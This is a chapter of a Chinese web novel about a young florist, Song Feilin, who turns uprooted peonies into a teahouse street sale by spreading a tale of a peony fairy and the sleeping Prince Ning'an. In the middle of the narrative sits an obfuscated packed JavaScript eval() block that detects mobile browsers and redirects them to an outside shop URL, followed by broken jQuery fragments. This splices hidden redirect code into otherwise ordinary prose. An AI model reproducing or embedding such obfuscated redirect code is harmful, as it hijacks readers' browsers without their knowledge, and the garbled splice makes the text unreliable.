42. 茶楼卖花

作品:《宁安王妃爱养花

    华灯初上,宋霏林收到贺府的拜帖。来上京城数日,她暂时顾不上去贺府做客,没曾想贺钟绮自己找上门来了。


    花盆里的鸳鸯茉莉开得太盛,宋霏林拿着剪刀在上面一顿乱剪。


    “霏林妹妹好本事,居然把青龙卧粉池要到手了。”


    未见其人先闻其声。空气里好大一股醋味。


    “贺姐姐好眼力,这黑灯瞎火的,还能看到院子角落里那孤零零的粉牡丹。”


    宋霏林倒了半杯茉莉花茶放在一旁,等待来人入座。一进屋,浓烈的茉莉花香迎面扑来,贺钟绮的视线不由得被她手中的茉莉花吸引了去。


    “鸳鸯茉莉。北墨王室里养的花,妹妹都能弄到手,当真是神通广大。”


    “姐姐,可别打趣我了。此时登门,可有要事?”


    “算不上要事。只是有桩生意不知妹妹要不要入个伙。”


    贺钟绮从袖口拿出一纸契书,这是贺家东郊那块兰花田的地契。地契后面还覆着借据,这田地明显是抵押给钱庄了。


    “姐姐,我在这上京城既无人脉,也无渠道。除了养花,什么生意我能帮上忙?”宋霏林笑问道。


    “妹妹可别谦虚了,你那《琉璃冠珠》的话本子,可在‘一笑春’卖脱销了。”


    “我可没有……”


    “妹妹可别抵赖,我可是亲眼见到你将话本子给掉包的。别以为你换了个小厮的衣裳我就认不出你了。”


    宋霏林回想起茶楼转角处那一闪而过的身影,坦然笑道:“姐姐也想做这话本子的生意?”


    贺钟绮摇摇头,“我府上的花坊生意已经够我操心的了。可没心思琢磨话本子。今日登门不过是想请妹妹为那话本子写个后续。”


    “后续?姐姐想要怎样的后续。”宋霏林突然来了兴致。


    “便说那花匠将白牡丹置于花田之中,牡丹仙子吸取天地之灵气,原神回归,再次化为人形,后与宁安王爷长相厮守。”


    宋霏林不满地瘪瘪嘴,这可是烂尾,还不如让那宁安王一直昏迷着呢。


    “姐姐,你这个时辰来找我该不会只是要我为那故事写个续吧!”


    宋霏林盯着桌上的地契看了许久,贺府不只有兰花田,还有牡丹花田。那花田正通镇国公府的后山,可是个寸土寸金的好地方。


    “我那不成器的表兄,将府里的牡丹田抵给了镇国公府,如今国公府要来收田,将田里的牡丹花都拔了。我心疼这牡丹花就如此枯死了,便来找妹妹想想法子,让这花死得其所。”


    宋霏林听这话的意思,这是来找她卖花的。花已经被拔了,卖出去多多少少能换点儿银子。她那表兄欠的债,牡丹花田不一定能抵完。


    “那这地契?”宋霏林犹豫道。


    “若是妹妹能想法子从这债主手中要到这田,这兰花田贺府便当礼物送给妹妹了。”


    宋霏林端起热茶轻啜两口,这可是烫手的山芋。不过,这送上门的花田不要太可惜了。


    “姐姐的花田里都是白牡丹?”宋霏林好奇道。


    “有几千朵白牡丹。”


    “姐姐挑些品质一般的,明日送去‘一笑春’门口,我有法子卖出去。品质好的便送去宁安王府,那里可有大片的地种花。”宋霏林胸有成竹道。


    “你能在宁安王府种花?”贺钟绮试探道。


    宋霏林尴尬地挠头,“想想法子,自然能够种。”


    “什么法子?”贺钟绮好奇道。


    这宁安王府向来不让生人入府,她这个初来乍到的小姑娘,怎就与宁安王府的人混熟了。


    “天机不可泄露。”宋霏林故作玄虚道。


    翌日午时,一笑春。


    宋霏林提着一篮野花在茶楼中央穿行。她扎着两个小辫,脸上涂了些碳灰,看起来像是逃荒的乞丐。


    “卖花了,卖花了。一文钱一朵花,一文钱一个祝福。人人都买一朵花,牡丹仙子就能早日恢复元神,唤醒宁安王。”


    “卖花了,卖花了。一文钱一朵花,一文钱一个祝福……”


    宋霏林卖力地吆喝着,两眼环顾四周,就怕掌柜的突然出现在她的身前。这一笑春有自己的卖花女,她今个儿去晚了,没有蹭上楼里卖花的活计。


    “小姑娘,这花当真能够让牡丹仙子恢复元神,然后唤醒宁安王。”一个屠夫打扮的男子叫住了她。


    宋霏林拿出一朵小白花,用力地点头,“这花仙子吸收天地间花草的灵气,只要花田里的花够多,她便能恢复元神。若是大哥不嫌麻烦,便将这花抛在镇国公府后山的牡丹花田里,牡丹仙子的仙灵一定还在那里停留。”


    “你怎么知她在那儿?”


    宋霏林思考半晌,“那可是离牡丹仙子受伤最近的牡丹花田。牡丹仙子原身是牡丹,元神受损后自然会飘去最近的牡丹田疗伤。”


    “那她为何不去镇国公府上的牡丹田呢?”


    宋霏林又思索了半晌,反问道:“你会去伤了你的仇家府上养伤吗?”


    “小姑娘,你这灵不灵啊?莫不是来装神弄鬼的?”


    一个菜农打扮的人凑了过来。


    宋霏林撅起嘴,摆出一副被冒犯的生气模样,气闷道:“这都是‘说不得’先生告诉我的,先生说了,不灵可以找他的。”


    人群里白面书生闻声走了过来,他盯着宋霏林看了一圈,只觉得眼熟,却也没完全把她认出来。


    “你这小丫头,我何时……”


    “先生,这《琉璃冠珠》话本子的后续,不是你念给我听的吗?你这人儿可不厚道,只给大伙儿讲上半阙,下半阙只自己看得开心。看来还是昨日那壶茶不够烫,先生不喜欢。”


    白面书生指着宋霏林的鼻尖,结结巴巴磕绊不出一句话。原来真的是那个倒茶的小厮换了他的话本子。


    “先生,你可说过,君子一言,驷马难追。这时抵赖,可非君子所为。”


    白面书生被她这一席话架上了火架,他若想要《琉璃冠珠》的后续,便只得认下。


    “是我记差了。她说的是真的。”白面书生眼中闪过一丝愧疚。


    旧时不为半斗米折腰,只落了个妻离子散的下场。为了这黄白之物,也只能与她狼狈为奸。


    “既然都是卖花,我这花一文钱两朵。”一个与宋霏林年纪相仿的女孩儿提着花篮凑了过来。


    “我这花一文钱三朵。”另外一个女孩儿跟了过来。


    宋霏林两眼一抹黑,怎转眼的功夫,就有人恶意竞价。


    “我这花可同他们的花不一样,我这花都是镇国公府后山附近树林里的野花。花都有灵,牡丹仙子更认这些花灵。不信你们问先生。”宋霏林大声囔道。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16945855|188560||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    白面书生知她铁了心要拉他下水,可为了那话本子,他附和道:“牡丹仙子受伤后会去最近的牡丹田疗伤,这牡丹田附近的野花都沾了花仙子的花灵,牡丹仙子更喜欢沾染了她花灵的花。”


    “小姑娘,你这可就不厚道了。明明知道牡丹仙子会在那儿疗伤,还要拔那里的花。这不是为了银钱,连良心都不要了吗?”一个花商打扮的男子嘲讽道。


    宋霏林轻蔑地轻哼一声,这摆明是吃不到葡萄说葡萄酸。


    “都是那些杀千刀的,不知为了什么把那牡丹田的牡丹都拔了,附近林子里的花也都铲平了。我同弟弟连夜将野花收集起来,想着若是大家都去那儿抛个花,那些坏人会忌惮一些,不会再去拔花了。这样宁安王也能早点儿醒来。王爷未满十六就镇守边关,落了一身的伤,这样的大英雄,那些坏人不盼着他好就算了,还把他救命的牡丹给拔了。”


    宋霏林说着说着便落下了忧伤的眼泪。说者无心闻者伤心。


    “我也不是真要这银钱。不过是想着卖了花,能找米行老板换点儿米,去城郊施粥,为宁安王积点福报。这北墨的使团快来上京城了,若是见到我们都城的百姓都不把宁安王的死活放在心上,他们怕是又要去祈霞关闹事了。战事起,又有多少好男儿埋骨黄沙。”


    宋霏林字字珠玑,白面书生不免热泪盈眶。王孙公子都不一定有的赤胆忠心,文人风骨,却在这个黑不溜秋的小姑娘身上体现得淋漓尽致。


    “小姑娘,别哭。你这花我全要了。”


    屠夫将一袋银钱放在了花篮里。宋霏林倔强地摇摇头,“不不不,每人只能买一朵。每朵花都有不同的灵,只有不同的人去田里抛花,这花灵才能都被花仙子感知到。”


    “那大伙就一人一朵,不过是一文钱的事儿。”菜农鼓动道。


    菜农往花篮里放了一个铜板,拿走了一朵花,便要离开。


    宋霏林拦住他的去路,说道:“这位大哥,买花后去先生那儿登个记。花灵聚散要三日,昨日已经过去一日。现在算来,若是明日宁安王未醒,先生就免费为买花的各位代写一次。家书、对联、扇面……什么都行。”


    在这白丁横行的世道,找个识字的写两行字,那都得好几文钱了。


    “这花我要了。”


    “我也要了。”


    “我也……”


    ……


    花篮里的花顿时一抢而空,一旁的花商,似乎看到了雪花花的银子在向他招手,大声喊道:“我那儿有成堆的牡丹花。牡丹花灵更能帮助仙子恢复元神。十文一朵。”


    宋霏林就料到这个奸商会来这一出,喊道:“我同我弟从镇国公府后院的牡丹田里拾了不少牡丹花。他就在茶楼对面的街角摆摊,那里的牡丹花十文钱一朵,我义兄识字在晖云书局做伙计,他可给大伙写个收条,日后若是有需要代写的,可去晖云书局找他免费代写三次。”


    这晖云书局是宁安王府的产业,这也算羊毛出在羊身上了。


    话音刚落,在茶楼里听书的客人,纷纷涌向了街角。角落处,成堆的牡丹花,不到半盏茶的时间便被抢空。


    一炷香后,流芳街上最大的邀月花坊的伙计走上街头,敲锣打鼓道:“卖花了,卖花了。一文钱一朵花,一文钱一个祝福。人人都买一朵花,牡丹仙子就能早日恢复原神,唤醒宁安王。”